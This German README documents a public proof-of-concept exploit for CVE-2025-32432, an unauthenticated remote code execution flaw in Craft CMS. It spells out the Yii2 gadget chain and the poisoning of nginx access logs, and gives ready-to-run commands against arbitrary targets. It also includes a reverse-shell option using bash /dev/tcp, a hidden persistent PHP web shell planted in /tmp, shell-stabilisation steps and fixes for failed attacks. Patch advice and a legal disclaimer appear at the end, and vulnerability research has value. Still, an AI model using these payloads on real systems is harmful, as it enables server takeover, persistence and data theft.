
Funktionsfähiger PoC für CVE-2025-32432 - Craft CMS <= 5.6.16 - nicht authentifizierte RCE über das Yii2-PhpManager-Gadget + nginx-access.log-Vergiftung
Funktionierender Proof-of-Concept für CVE-2025-32432, eine nicht authentifizierte Remote-Code-Execution-Schwachstelle in Craft CMS in Versionen bis einschließlich 5.6.16 (betrifft ebenso die 4.x- und 3.x-Zweige bei entsprechenden Codepfaden).
Suchbegriffe: CVE-2025-32432, Craft CMS RCE, Craft 5.6.16 exploit,
Yii2 PhpManager gadget, craftcms generate-transform, Component::__set as behavior,
nginx log poisoning Craft, unauth RCE craftcms 2025.
git clone https://github.com/cd-ratel/CVE-2025-32432
cd CVE-2025-32432
pip install -r requirements.txt
python3 exploit.py -u http://victim.tld -c 'id'
Der Standardmodus zielt auf frische Vanilla-Craft-CMS-Installationen. Ein --lab-Flag
ist für die carangueijada-20-Challenge des
hacklab-platform-Projekts enthalten,
welche Craft hinter einem eigenen Session-Cookie absichert.
Betroffene Komponente: craft\controllers\AssetsController::actionGenerateTransform.
Die Aktion ist als allowAnonymous registriert, daher ist keine Authentifizierung
erforderlich. Sie akzeptiert einen POST-Parameter handle, der anschließend in
einen Craft::createObject()-Aufruf gespreadet wird:
$transform = Craft::createObject([
'class' => ImageTransform::class,
...$handle,
]);
Wenn $handle ein vom Angreifer kontrolliertes assoziatives Array ist, injiziert
der Spread beliebige Schlüssel in die Konstruktor-Konfiguration. Insbesondere wird
ein Schlüssel, der mit as beginnt, von yii\base\Component::__set als
Behavior-Attachment interpretiert, was Yii::createObject($config) für den Wert
aufruft – vor jeder Typ-Prüfung:
elseif (strncmp($name, 'as ', 3) === 0) {
$name = trim(substr($name, 3));
$this->attachBehavior(
$name,
$value instanceof Behavior ? $value : Yii::createObject($value),
);
return;
}
Der Yii2-Fix in 2.0.50 fügte eine is_subclass_of($value['class'], Behavior::class)-Prüfung
für diesen Zweig hinzu; verwundbare Installationen (Yii2 <= 2.0.49, oder frühere
herausgepatchte Prüfung) überspringen die Absicherung vollständig.
yii\rbac\PhpManagerPhpManager ist eine Standard-Yii2-Klasse. Ihre init()-Methode ruft load() auf,
welches wiederum loadFromFile($this->itemFile) aufruft. loadFromFile ist wörtlich:
protected function loadFromFile($file)
{
if (is_file($file)) {
return require $file;
}
return [];
}
require parst jede Datei auf der Platte als PHP. Enthält die Datei einen
<?php ... ?>-Block, wird dieser Block im Worker ausgeführt. Indem itemFile
auf eine Datei zeigt, deren Inhalt der Angreifer kontrolliert, wird vollständige RCE erreicht.
access.logDer zuverlässige installationsübergreifende Sink ist die nginx-access.log im
Combined-Format. Sie zeichnet den User-Agent der Anfrage wörtlich auf, einschließlich
nicht druckbarer Zeichen und der meisten Satzzeichen. Indem der Angreifer eine Anfrage
sendet, deren User-Agent <?php system('id'); exit; ?> lautet, platziert er einen
PHP-Block an einem bekannten Pfad. Wird itemFile dann auf
/var/log/nginx/access.log gesetzt, requiret der Exploit das Log und führt jeden
<?php ... ?>-Block der Reihe nach aus.
Zwei Feinheiten sind wichtig:
" im
Combined-Format zu \x22, was das PHP-Parsing der Zeile bricht. Verwende
einfache Anführungszeichen oder chr()-Verkettung.exit; am Ende, damit require abbricht, bevor spätere Logzeilen geparst
werden, die andere fehlerhafte Payloads enthalten könnten.| Komponente |
|---|
Craft 5.6.17 fügt eine ImageTransformerInterface-Prüfung für die
Transformer-Klasse hinzu. Yii2 2.0.50 fügt eine Behavior-Subklassen-Prüfung in
Component::__set hinzu. Jeder einzelne Fix schließt exakt diese Gadget-Kette.
requests-Bibliothek (pip install -r requirements.txt)assetId auf dem Ziel. Standard 2; überschreibbar mit
-a <id>, falls nötig (Asset-ID 1 ist normalerweise der Admin-Avatar).python3 exploit.py -u http://victim.tld -c 'id'
python3 exploit.py -u http://victim.tld -p /cms -c 'id'
python3 exploit.py -u http://victim.tld -a 42 -c 'cat /etc/passwd'
itemFile (anderer Log-Pfad, FPM-Session, etc.)python3 exploit.py -u http://victim.tld \
-i /var/log/apache2/access.log \
-c 'id'
Das carangueijada-20-Lab aus dem
hacklab-platform sichert
die Craft-Installation hinter einem coopsess-Cookie, das von PATCH /login
ausgestellt wird. Das --lab-Flag übernimmt diesen Handshake automatisch.
python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
-c 'id; uname -a'
Stelle sicher, dass www.carangueijada.coop auf die Lab-IP auflöst (falls nötig
in /etc/hosts eintragen).
Das --revshell-Flag feuert einen bash -i >& /dev/tcp/<lhost>/<lport> 0>&1
Connect-Back, im Hintergrund, damit der Gadget-POST sofort zurückkehrt.
Zwei-Terminal-Ablauf (am zuverlässigsten):
# Terminal 1 – Listener auf deiner Maschine
nc -lvnp 4444
# Terminal 2 – Exploit auslösen
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444
Ein-Terminal-Ablauf mit eingebautem Listener:
python3 exploit.py -u http://victim.tld \
--revshell --lhost 1.2.3.4 --lport 4444 \
--auto-listen
--auto-listen startet nc -lvnp <lport> im selben Terminal, bevor
der Payload gefeuert wird. Strg+C beendet, wenn du fertig bist.
Beispielsession (Lab):
$ python3 exploit.py --lab \
-u http://www.carangueijada.coop:3230/x9k4m2nf0y7p3q/ \
--revshell --lhost 10.200.0.20 --lport 4444
[*] Reverse shell payload -> 10.200.0.20:4444
[!] On YOUR machine run first: nc -lvnp 4444
[*] Firing in 3s (give your listener time to bind)...
[*] Lab mode: PATCH /login to obtain coopsess cookie
[*] coopsess cookie acquired
[*] Probing for existing wrapper at /tmp/.cve32432_w.php
[*] Triggering gadget (assetId=2 itemFile=/tmp/.cve32432_w.php)
[*] HTTP 200
[*] Reverse shell fired.
# im Listener:
Connection received on 10.10.99.20 56498
bash: cannot set terminal process group (149): Inappropriate ioctl for device
bash: no job control in this shell
www-data@carangueijada:~/craft/web$
Shell stabilisieren (nach dem Connect, innerhalb der Reverse-Shell ausführen):
python3 -c 'import pty; pty.spawn("/bin/bash")'
# Strg+Z, um nc in den Hintergrund zu legen
stty raw -echo; fg
# Zweimal Enter drücken
export TERM=xterm; export SHELL=/bin/bash
stty rows 50 cols 200
Beim ersten Lauf vergiftet der Exploit access.log einmal, um einen
versteckten PHP-Wrapper unter /tmp/.cve32432_w.php abzulegen. Der Wrapper liest
den X-Cmd-HTTP-Header und führt system($_SERVER['HTTP_X_CMD']) aus. Jeder
weitere Dispatch zeigt itemFile auf die Wrapper-Datei und übergibt den Befehl
per Header. Kein weiteres Vergiften, keine weitere Log-Verschmutzung, keine
weiteren „Das erste <?php exit;-Block gewinnt“-Fehlschläge.
Wenn du das Neuschreiben erzwingen willst, lösche /tmp/.cve32432_w.php auf dem
Ziel (das kannst du durch den Wrapper selbst tun: --cmd 'rm /tmp/.cve32432_w.php').
Erfolgreicher Lauf gegen ein frisches Ziel:
[*] Fetching CSRF token from http://target.tld/actions/users/session-info
[*] CSRF: 5dQ0xRq9OAAaiHzaLZ0...
[*] Poisoning access.log via User-Agent (len=508)
[*] poison request -> HTTP 200
[*] Triggering gadget (assetId=2 itemFile=/var/log/nginx/access.log)
[*] HTTP 200
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux victim 6.1.0-13-amd64 #1 SMP Debian 6.1.55-1 x86_64 GNU/Linux
Fallback bei verschmutztem Log (Ziel wurde bereits früher exploiert, ein älterer Payload beendet vor deinem):
[!] Markers not found; log appears polluted by older poison.
[!] Falling back to tail-of-body extraction. Output below comes
[!] from the FIRST <?php block in the log (likely an old payload).
--- fallback output (may be stale) ---
uid=33(www-data) gid=33(www-data) groups=33(www-data)
POST /actions/assets/generate-transform erreicht
AssetsController::actionGenerateTransform.$config = ['class' => ImageTransform::class, ...$handle].
Unser handle[as gadget] übersteht den Spread.Craft::createObject($config) ruft
Yii::$container->get(ImageTransform::class, [], $config) auf, was
ImageTransform instanziiert und jeden verbleibenden Konfigurationsschlüssel
über $transform->{$key} = $value schreibt.as gadget trifft, erkennt Component::__set das
as -Präfix und ruft Yii::createObject(['class' => 'yii\\rbac\\PhpManager', 'itemFile' => '/var/log/nginx/access.log']) auf.Wenn du zuverlässig nur id ausführen kannst (weil ein älteres exit;-Gift
die Kette blockiert hat), ist ein praktikabler Pivot, diesen einzelnen
id-artigen Befehl dazu zu bringen, einen PHP-Wrapper in einen Pfad deiner
Wahl zu schreiben, und dann itemFile für alle weiteren Anfragen auf diesen
Pfad zu ändern:
# One-Shot-Vergiftung mit Befehl, der /tmp/w.php als www-data anlegt
WRAPPER='<?php system($_SERVER["HTTP_X_CMD"]);exit;?>'
B64=$(printf %s "$WRAPPER" | base64 -w0)
CMD="echo $B64|base64 -d > /tmp/w.php"
# CMD als chr() kodieren ...
Danach aufrufen:
python3 exploit.py -u http://victim.tld \
-i /tmp/w.php \
-c 'whoami'
Jeder weitere Dispatch liest /tmp/w.php (eine saubere PHP-Datei ohne
irgendetwas vor unserem Payload) und führt den Befehl aus dem X-Cmd-Header
aus. Passe das Skript an, wenn du das als eingebauten Modus haben möchtest.
.
├── exploit.py # der PoC
├── README.md # diese Datei
├── requirements.txt # Python-Abhängigkeiten (nur `requests`)
└── LICENSE # MIT
Component.php (verwundbare Revision): https://github.com/yiisoft/yii2/blob/2.0.49/framework/base/Component.phpDieser Proof-of-Concept wird ausschließlich für defensive Forschung, Lehrzwecke und autorisierte Penetrationstests veröffentlicht. Die Ausführung gegen Systeme, die du nicht besitzt oder für die du keine schriftliche Testgenehmigung hast, ist in den meisten Rechtsräumen illegal. Der Autor übernimmt keine Haftung für Missbrauch.
Wenn du eine Craft-CMS-Installation betreibst, aktualisiere auf 5.6.17 oder neuer (bzw. das entsprechende 4.x-/3.x-Patch-Release). Die Schwachstelle ist trivial ausnutzbar und wurde in realen Kampagnen eingesetzt, die von SensePost dokumentiert wurden.
MIT. Siehe LICENSE.
| Verwundbar |
|---|
| Gepatcht |
|---|
| Craft CMS | <= 5.6.16 | 5.6.17 |
| Craft CMS | <= 4.15.2 | 4.15.3 |
| Craft CMS | <= 3.9.14 | 3.9.15 |
| Yii2 | <= 2.0.49 | 2.0.50 |
Yii::createObject konstruiert PhpManager, führt __construct() und
danach init() aus.PhpManager::init() -> load() -> loadFromFile($this->itemFile)
-> require '/var/log/nginx/access.log'.<?php ... ?>-Blöcke werden im Worker
ausgeführt.system($cmd) und exit; aus. Die Ausgabe
erscheint im Response-Body an der Stelle, an der sich der <?php-Block
textuell befand.| Symptom | Ursache | Fix |
|---|
HTTP 400 + „could not verify your data submission“ / „Pedido invalido“ | CSRF-Token nicht an das in der POST verwendete Cookie gebunden | Das Skript verwendet eine einzige requests.Session; wenn du es neu implementierst, stelle sicher, dass der Cookie-Jar CRAFT_CSRF_TOKEN zwischen session-info und dem POST beibehält. |
HTTP 403 auf /actions/... | Pfad-Präfix oder Vhost falsch | Verwende -p /prefix, um den Pfad zu treffen, unter dem Craft gemountet ist; stelle sicher, dass der Host-Header zur Installation passt. |
csrfTokenValue leer / session-info liefert HTML | Falscher Accept-Header | Das Skript sendet bereits Accept: application/json; wenn du das herausgepatcht hast, stelle es wieder her. |
| Ausgabe zeigt deinen Befehl nie | access.log enthält bereits einen älteren <?php ... exit; ?>-Payload, der zuerst läuft | Rotiere bzw. kürze das Log auf dem Ziel. Wenn du nur RCE-als-id hast, warte auf die nächste Logrotation oder pivote durch eine beschreibbare PHP-Datei (z. B. /tmp/wrapper.php mit system($_SERVER['HTTP_X_CMD']);) und verwende diese künftig als itemFile. |
assetId not found | Falsche ID für diese Installation | Durchsuche öffentliche Asset-URLs, um IDs zu ermitteln, oder versuche -a 1 und dann -a 3..N. |
| Ziel gepatcht | Craft >= 5.6.17 oder Yii2 >= 2.0.50 | Kette ist geschlossen; finde entweder eine andere verwundbare Klasse oder fahre fort. |
| Payload löst PHP-Fatalfehler aus | Ältere Logeinträge enthalten fehlerhaftes PHP, das den Parser vor deinem Block bricht | Wie beim verschmutzten Log: Log rotieren. |